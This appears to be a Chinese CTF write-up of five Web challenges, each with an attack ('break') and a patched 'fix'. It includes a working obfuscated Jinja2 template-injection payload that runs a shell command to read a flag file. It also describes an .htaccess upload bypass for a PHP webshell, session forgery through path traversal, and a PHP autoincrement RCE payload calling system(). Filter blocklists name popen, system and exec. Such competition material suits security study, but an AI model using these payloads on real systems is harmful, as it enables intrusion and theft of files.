Web
ezSSTI
break
fuzz测试,黑名单大概为
blacklist=["'"," ","_","+",".","globals","class","url_for","popen","flag","attr","{{","\\x"]
fenjing生成POC即可
{%print(((((((lipsum[(lipsum|escape|batch(22)|list|first|last)*2~("g""l""o""b""a""l""s")~(lipsum|escape|batch(22)|list|first|last)*2])[(lipsum|escape|batch(22)|list|first|last)*2~("b""u""i""l""t""i""n""s")~(lipsum|escape|batch(22)|list|first|last)*2])[("e""v""a""l")])((("%c"*48)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,84,104,49,115,95,102,108,97,103,95,49,115,95,104,51,114,101,39,41))))[("r""e""a""d")])()))%}'
Fix
过滤标识符,直接GG
if "{{" in word or "{%" in word:
return "hacker"
from flask import Flask,request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name','CTFer<!--?name=CTFer')
if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen|{%",name):
t = Template("hello "+name)
return t.render()
else:
t = Template("Hacker!!!")
return t.render()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000)
原来的源码
from flask import Flask,request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name','CTFer<!--?name=CTFer')
if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):
t = Template("hello "+name)
return t.render()
else:
t = Template("Hacker!!!")
return t.render()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000)
ezupload
break
访问指定页面,上传文件
经测试可以上传.htaccess文件,
AddType application/x-httpd-php .jpg
在上传1.jpg,内容为一句话木马即可
fix
黑名单加.htaccess
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);
define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
<div id="upload_panel">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</div>
源码
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);
define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
<div id="upload_panel">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</div>
BabyMemo
我是个猪比,很简单的一题,赛后被tel师傅一提醒我就知道怎么解了,可惜了
break
真正的利用点在这,问题是怎么去伪造session,这个需要去看一下session的逻辑,访问后产生的session信息一般会存在php.ini里指定的目录中,文件名为sess_sessid
配合这题源码查看,可以将文件上传至tmp目录下,大概就是储存在tmp目录中了,sessid的信息是以序列化流来储存的,可以本地生成一个看看
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'xianzhi' ;
$_SESSION['admin']=true;
}
?>
//username|s:7:"xianzhi";admin|b:1;
现在所需要做的就是将这个session数据写入/tmp/sess_sessid下,并携带着sessid访问即可获得flag
username可控,指定为sess即可
查看源码发现switch中都存在着拼接文件名后缀的操作,但是在default中,会拼接. 和$compressionMethod,后者可控,但是sessid中只能出现16进制的字符,但是下面存在一个../的置空操作,所以我们可以控制拼接一个./,从而通过while置空
最后会将$compressedData写入文件中,发现来自于$backupMemos,进行了一次rot13,
观察源码发现backupMemos也是可控的,那么就将伪造后的session数据进行一次rot13传入写入文件即可
会通过readfile将文件返回,检查是否写入成功,携带者sess_后的id访问即可get flag
fix
index.php
<?php
ob_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['username']) && !empty($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
if (!isset($_SESSION['memos'])) {
$_SESSION['memos'] = [];
}
echo '<script>window.location.href="memo.php";</script>';
exit;
} else {
echo '<script>window.location.href="index.php?error=1";</script>';
exit;
}
}
ob_end_flush();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Simple Memo Website</title>
<style>
body {
background-color: beige;
font-family: Arial, sans-serif;
}
h1 {
color: darkslategray;
}
form {
margin: 30px auto;
width: 80%;
padding: 20px;
background-color: white;
border-radius: 10px;
box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
}
label {
display: block;
margin-bottom: 10px;
}
input[type="text"] {
width: 100%;
padding: 10px;
border-radius: 5px;
border: none;
margin-bottom: 20px;
}
button[type="submit"] {
background-color: darkslategray;
color: white;
border: none;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
}
button[type="submit"]:hover {
background-color: steelblue;
}
</style>
</head>
<body>
<h1>Login</h1>
<form action="index.php" method="post">
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
<button type="submit">Login</button>
</form>
</body>
</html>
memo.php
<?php
session_start();
if (!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}
if (isset($_POST['memo']) && !empty($_POST['memo'])) {
$_SESSION['memos'][] = $_POST['memo'];
}
if (isset($_POST['backup'])) {
$backupMemos = implode(PHP_EOL, $_SESSION['memos']);
$random = bin2hex(random_bytes(8));
$filename = '/tmp/' . $_SESSION['username'] . '_' . $random;
// Handle compression method and file extension
$compressionMethod = $_POST['compression'] ?? 'none';
switch ($compressionMethod) {
case 'gzip':
$compressedData = gzencode($backupMemos);
$filename .= '.gz';
$mimeType = 'application/gzip';
break;
case 'bzip2':
$compressedData = bzcompress($backupMemos);
$filename .= '.bz2';
$mimeType = 'application/x-bzip2';
break;
case 'zip':
$zip = new ZipArchive();
$zipFilename = $filename . '.zip';
if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {
$zip->addFromString($filename, $backupMemos);
$zip->close();
}
$filename = $zipFilename;
$mimeType = 'application/zip';
break;
case 'none':
$compressedData = $backupMemos;
$filename .= '.txt';
$mimeType = 'text/plain';
break;
default:
// I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~
$compressedData = str_rot13($backupMemos);
$filename .= '.' . $compressionMethod;
$mimeType = 'text/plain';
while (strpos($filename, '../') !== false) {
$filename = str_replace('../', '', $filename);
}
break;
}
file_put_contents($filename, $compressedData);
// Send headers and output file content
header('Content-Description: File Transfer');
header('Content-Type: ' . $mimeType);
header('Content-Disposition: attachment; filename="' . basename($filename) . '"');
header('Content-Length: ' . filesize($filename));
readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Memo</title>
<style>
body {
background-color: beige;
font-family: Arial, sans-serif;
}
h1,
h2 {
color: darkslategray;
margin-top: 30px;
margin-bottom: 10px;
}
form {
margin: 30px auto;
width: 80%;
padding: 20px;
background-color: white;
border-radius: 10px;
box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
}
label {
display: block;
margin-bottom: 10px;
}
input[type="text"],
select {
width: 100%;
padding: 10px;
border-radius: 5px;
border: none;
margin-bottom: 20px;
}
button[type="submit"] {
background-color: darkslategray;
color: white;
border: none;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1>
<form action="memo.php" method="post">
<label for="memo">New Memo:</label>
<input type="text" name="memo" id="memo" required>
<button type="submit">Add Memo</button>
</form>
<h2>Here 1s Your Memos:</h2>
<ul>
<?php foreach ($_SESSION['memos'] as $memo) : ?>
<li><?php echo htmlspecialchars($memo); ?></li>
<?php endforeach; ?>
<?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?>
<li><?php system("cat /flag"); ?></li> <!-- Only admin can get flag -->
<?php endif ?>
</ul>
<form action="memo.php" method="post">
<label for="compression">Compression method:</label>
<select name="compression" id="compression">
<option value="none">None</option>
<option value="gzip">GZIP</option>
<option value="bzip2">BZIP2</option>
<option value="zip">ZIP</option>
</select>
<button type="submit" name="backup" value="1">Export Backup</button>
</form>
</body>
</html>
修复memo.php
<?php
session_start();
if (!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}
if (isset($_POST['memo']) && !empty($_POST['memo'])) {
$_SESSION['memos'][] = $_POST['memo'];
}
if (isset($_POST['backup'])) {
$backupMemos = implode(PHP_EOL, $_SESSION['memos']);
$random = bin2hex(random_bytes(8));
$filename = '/tmp/' . $_SESSION['username'] . '_' . $random;
// Handle compression method and file extension
$compressionMethod = $_POST['compression'] ?? 'none';
if(strpos($filename,"flag")||strpos($filename,"../")){
die("no");
}
if(strpos($backupMemos,"flag")||strpos($backupMemos,"../")){
die("no");
}
if(strpos($compressionMethod,"flag")||strpos($compressionMethod,"../")){
die("no");
}
switch ($compressionMethod) {
case 'gzip':
$compressedData = gzencode($backupMemos);
$filename .= '.gz';
$mimeType = 'application/gzip';
break;
case 'bzip2':
$compressedData = bzcompress($backupMemos);
$filename .= '.bz2';
$mimeType = 'application/x-bzip2';
break;
case 'zip':
$zip = new ZipArchive();
$zipFilename = $filename . '.zip';
if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {
$zip->addFromString($filename, $backupMemos);
$zip->close();
}
$filename = $zipFilename;
$mimeType = 'application/zip';
break;
case 'none':
$compressedData = $backupMemos;
$filename .= '.txt';
$mimeType = 'text/plain';
break;
default:
// I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~
$compressedData = str_rot13($backupMemos);
$filename .= '.' . $compressionMethod;
$mimeType = 'text/plain';
while (strpos($filename, '../') !== false) {
$filename = str_replace('../', '', $filename);
}
break;
}
file_put_contents($filename, $compressedData);
// Send headers and output file content
header('Content-Description: File Transfer');
header('Content-Type: ' . $mimeType);
header('Content-Disposition: attachment; filename="' . basename($filename) . '"');
header('Content-Length: ' . filesize($filename));
readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Memo</title>
<style>
body {
background-color: beige;
font-family: Arial, sans-serif;
}
h1,
h2 {
color: darkslategray;
margin-top: 30px;
margin-bottom: 10px;
}
form {
margin: 30px auto;
width: 80%;
padding: 20px;
background-color: white;
border-radius: 10px;
box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
}
label {
display: block;
margin-bottom: 10px;
}
input[type="text"],
select {
width: 100%;
padding: 10px;
border-radius: 5px;
border: none;
margin-bottom: 20px;
}
button[type="submit"] {
background-color: darkslategray;
color: white;
border: none;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1>
<form action="memo.php" method="post">
<label for="memo">New Memo:</label>
<input type="text" name="memo" id="memo" required>
<button type="submit">Add Memo</button>
</form>
<h2>Here 1s Your Memos:</h2>
<ul>
<?php foreach ($_SESSION['memos'] as $memo) : ?>
<li><?php echo htmlspecialchars($memo); ?></li>
<?php endforeach; ?>
<?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?>
<li><?php system("echo 11"); ?></li> <!-- Only admin can get flag -->
<?php endif ?>
</ul>
<form action="memo.php" method="post">
<label for="compression">Compression method:</label>
<select name="compression" id="compression">
<option value="none">None</option>
<option value="gzip">GZIP</option>
<option value="bzip2">BZIP2</option>
<option value="zip">ZIP</option>
</select>
<button type="submit" name="backup" value="1">Export Backup</button>
</form>
</body>
</html>
fuzee_rce
break
一坨,弱口令登录后就是rce,一个科学计数法绕过+自增RCE,但是比赛的时候不告诉你传参,所以这题0解
?w1key=1e9
w1key=$_=(_/_._)[0];$β=++$_;$Φ=_.++$_.$β;$_++;$_++;$_=$Φ.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /flag
//$_POST[0]($_POST[_])
fix
先放源码
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<title>Crack Me</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body {
background-color: #f8f9fa;
font-family: Arial, sans-serif;
}
.container {
max-width: 500px;
margin: 100px auto 0;
}
h1 {
font-size: 36px;
font-weight: bold;
margin-bottom: 50px;
color: #dc3545;
text-align: center;
}
input[type="text"],
input[type="password"] {
width: 100%;
height: 50px;
border: 1px solid #ced4da;
border-radius: 5px;
padding: 10px;
font-size: 16px;
font-weight: bold;
color: #495057;
background-color: #fff;
transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out;
}
input[type="text"]:hover,
input[type="password"]:hover,
input[type="text"]:focus,
input[type="password"]:focus {
border-color: #dc3545;
outline: 0;
box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);
}
button {
width: 100%;
height: 50px;
font-size: 20px;
font-weight: bold;
color: #fff;
background-color: #dc3545;
border: none;
border-radius: 5px;
transition: background-color .15s ease-in-out;
}
button:hover {
background-color: #c82333;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<h1>登录</h1>
<form class="form-inline" method="post" action="./nines.php">
<div class="form-group col-md-12">
<input type="text" class="form-control" placeholder="Username" name="username">
</div>
<div class="form-group col-md-12">
<input type="password" class="form-control" placeholder="Password" name="password">
</div>
<div class="form-group col-md-12">
<button type="submit" class="btn btn-danger btn-block">确定</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
nines.php
<?php
error_reporting(0);
$username = $_POST['username'];
$password = $_POST['password'];
if($username == "admin"&$password =="admin123"){
echo "<script>window.location.replace('./goods.php')</script>";
}
else{
echo "<script>alert('账户或者密码错误')</script>";
echo "<script>window.location.replace('./index.php')</script>";
}
?>
good.php
<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {
highlight_file(__FILE__);
$w1key = $_GET['w1key'];
if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {
echo "good";
}
else {
die("Please input a valid number!");
}
}
if (isset($_POST['w1key'])) {
$w1key = $_POST['w1key'];
strCheck($w1key);
eval($w1key);
}
?>
``
check.php
<?php
function strCheck($w1key)
{
if (is_string($w1key) && strlen($w1key) <= 83) {
if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\]/",$w1key)){
return $w1key;
}else{
die("黑客是吧,我看你怎么黑!");
}
}
else{
die("太长了");
}
}
在check中加入$_+.;就把自增ban了
fix check.php
<?php
function strCheck($w1key)
{
if (is_string($w1key) && strlen($w1key) <= 83) {
if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\$_+.;]/",$w1key)){
return $w1key;
}else{
die("黑客是吧,我看你怎么黑!");
}
}
else{
die("太长了");
}
}
Oh-My-PDF
break
一个jwt空密钥攻击,以及一个flask_weasyprint的漏洞,我还没问到具体细节,先放在这了
源码
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
db = SQLAlchemy(app)
URL_REGEX = re.compile(
r'http(s)?://' # http or https
r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(80), nullable=False)
is_admin = db.Column(db.Boolean, nullable=False, default=False)
def create_database(app):
with app.app_context():
db.create_all()
def is_valid_url(url):
if not URL_REGEX.match(url):
return False
return True
@app.route('/register', methods=['POST','GET'])
def register():
if request.method == 'POST':
try:
data = request.form
hashed_password = generate_password_hash(data['password'])
new_user = User(username=data['username'], password=hashed_password, is_admin=False)
db.session.add(new_user)
db.session.commit()
return render_template('register.html',message='User registered successfully')
except:
return render_template('register.html',message='Register Error!'),500
else:
return render_template('register.html',message='please register first!')
@app.route('/login', methods=['POST','GET'])
def login():
if request.method == 'POST':
data = request.form
user = User.query.filter_by(username=data['username']).first()
if user and check_password_hash(user.password, data['password']):
access_token = jwt.encode(
{'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")
res = make_response(redirect(url_for('ohmypdf')))
res.set_cookie('access_token',access_token)
return res, 200
else:
return render_template('login.html',message='Invalid username or password'), 500
else:
return render_template('login.html'), 200
@app.route('/', methods=['GET', 'POST'])
def ohmypdf():
access_token = request.cookies.get('access_token')
if not access_token:
return redirect(url_for("login"))
try:
decoded_token = jwt.decode(
access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})
isadmin = decoded_token['isadmin']
except:
return render_template('login.html',message='Invalid access token')
if not isadmin:
return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403
if request.method == 'POST':
url = request.form.get('url')
if is_valid_url(url):
try:
html = HTML(url=url)
pdf = html.write_pdf()
response = make_response(pdf)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'
return response
except Exception as e:
return f'Error generating PDF', 500
else:
return f'Invalid URL!'
else:
return render_template("index.html"), 200
if __name__ == '__main__':
create_database(app)
app.run(host='0.0.0.0', port=8080)
fix 失败的
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
db = SQLAlchemy(app)
URL_REGEX = re.compile(
r'http(s)?://' # http or https
r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(80), nullable=False)
is_admin = db.Column(db.Boolean, nullable=False, default=False)
def create_database(app):
with app.app_context():
db.create_all()
def is_valid_url(url):
if not URL_REGEX.match(url):
return False
if "flag" in url.lower() or "proc" in url or "127.0.0.1" in url or "localhost" in url.lower():
return False
return True
@app.route('/register', methods=['POST','GET'])
def register():
if request.method == 'POST':
try:
data = request.form
hashed_password = generate_password_hash(data['password'])
if "'" in data["username"] or "'" in data["password"]:
return render_template('register.html', message='Register Error!'), 500
if "\"" in data["username"] or "\"" in data["password"]:
return render_template('register.html', message='Register Error!'), 500
new_user = User(username=data['username'], password=hashed_password, is_admin=False)
db.session.add(new_user)
db.session.commit()
return render_template('register.html',message='User registered successfully')
except:
return render_template('register.html',message='Register Error!'),500
else:
return render_template('register.html',message='please register first!')
@app.route('/login', methods=['POST','GET'])
def login():
if request.method == 'POST':
data = request.form
user = User.query.filter_by(username=data['username']).first()
if "'" in data["username"] or "'" in data["password"]:
return render_template('register.html', message='Register Error!'), 500
if "\"" in data["username"] or "\"" in data["password"]:
return render_template('register.html', message='Register Error!'), 500
if user and check_password_hash(user.password, data['password']):
access_token = jwt.encode(
{'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")
res = make_response(redirect(url_for('ohmypdf')))
res.set_cookie('access_token',access_token)
return res, 200
else:
return render_template('login.html',message='Invalid username or password'), 500
else:
return render_template('login.html'), 200
@app.route('/', methods=['GET', 'POST'])
def ohmypdf():
access_token = request.cookies.get('access_token')
if not access_token:
return redirect(url_for("login"))
try:
decoded_token = jwt.decode(
access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})
isadmin = decoded_token['isadmin']
except:
return render_template('login.html',message='Invalid access token')
if not isadmin:
return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403
if request.method == 'POST':
url = request.form.get('url')
if is_valid_url(url):
try:
html = HTML(url=url)
if "DASCTF{" in html or "flag{" in html:
return f'Error generating PDF', 500
pdf = html.write_pdf()
response = make_response(pdf)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'
return response
except Exception as e:
return f'Error generating PDF', 500
else:
return f'Invalid URL!'
else:
return render_template("index.html"), 200
if __name__ == '__main__':
create_database(app)
app.run(host='0.0.0.0', port=8080)